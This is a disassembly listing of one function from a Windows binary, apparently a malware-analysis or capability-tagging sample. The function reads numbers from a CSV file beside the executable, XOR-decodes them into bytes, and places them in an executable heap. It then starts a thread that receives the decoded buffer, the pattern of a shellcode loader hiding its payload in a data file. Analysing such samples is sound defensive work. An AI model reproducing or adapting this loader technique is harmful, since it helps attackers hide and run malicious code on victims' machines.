Function at 0x140001150
Capabilities:
Create thread
Encode data using xor
Terminate process

Disassembly:
sub rsp, 0x278
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r8d, 0x104
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
cmp byte [rcx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140001190
lea rax, [rsp + rax + 0x3f]
lea rcx, [rsp + 0x40]
cmp rax, rcx
jbe 0x1400011c2
nop word [rax + rax]
cmp byte [rax], 0x5c
je 0x1400011c2
dec rax
lea rcx, [rsp + 0x40]
cmp rax, rcx
ja 0x1400011b0
mov byte [rax + 1], 0
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rsp + rcx + 0x40]
mov byte [rsp + rcx + 0x150], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400011d0
lea rcx, [rsp + 0x150]
dec rcx
nop
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400011f0
lea r8, str.glfphxm73w.csv
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001210
xor edx, edx
lea rcx, [rsp + 0x150]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__access]
test eax, eax
jne 0x140001435
lea rdx, [0x1400032e0]
mov qword [rsp + 0x280], rbx
lea rcx, [rsp + 0x150]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rbx, rax
test rax, rax
jne 0x140001267
lea ecx, [rax - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x288], rbp
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x290], rsi
mov r8, rbx
mov qword [rsp + 0x298], rdi
xor edi, edi
mov qword [rsp + 0x270], r14
lea edx, [rdi + 0xa]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x1400012c5
nop
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
mov r8, rbx
lea rcx, [rsp + 0x30]
mov edx, 0xa
inc edi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x1400012a0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
movsxd rbp, edi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
lea rdx, [0x1400032e0]
mov r14, rax
lea rcx, [rsp + 0x150]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rsi, rax
test rax, rax
jne 0x140001304
lea ecx, [rax - 1]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r8, rsi
lea rcx, [rsp + 0x30]
mov edx, 0xa
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
je 0x14000134e
mov rbx, r14
nop
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atof]
mov r8, rsi
lea rcx, [rsp + 0x30]
cvttsd2si eax, xmm0
mov edx, 0xa
lea rbx, [rbx + 1]
mov byte [rbx - 1], al
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
test rax, rax
jne 0x140001320
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor r8d, r8d
xor edx, edx
mov ecx, 0x40000
call qword [sym.imp.KERNEL32.dll_HeapCreate]
xor edx, edx
mov rcx, rax
mov rbx, rax
lea r8d, [rdx + 0xa]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r10, rax
test edi, edi
jle 0x140001394
mov r9, rbp
mov r8, rax
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov r10, rax
xor r8d, r8d
test edi, edi
jle 0x1400013e8
mov r9, r10
lea r11, [0x140005048]
sub r14, r10
nop dword [rax + rax]
mov eax, 0x4ec4ec4f
lea r9, [r9 + 1]
imul r8d
mov ecx, r8d
inc r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xd
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r11]
xor al, byte [r14 + r9 - 1]
mov byte [r9 - 1], al
sub rbp, 1
jne 0x1400013b0
mov qword [rsp + 0x28], 0
lea r8, [0x140001450]
mov r9, r10
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, qword [rsp + 0x298]
mov rsi, qword [rsp + 0x290]
mov rbp, qword [rsp + 0x288]
mov r14, qword [rsp + 0x270]
mov rbx, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140002070
add rsp, 0x278
ret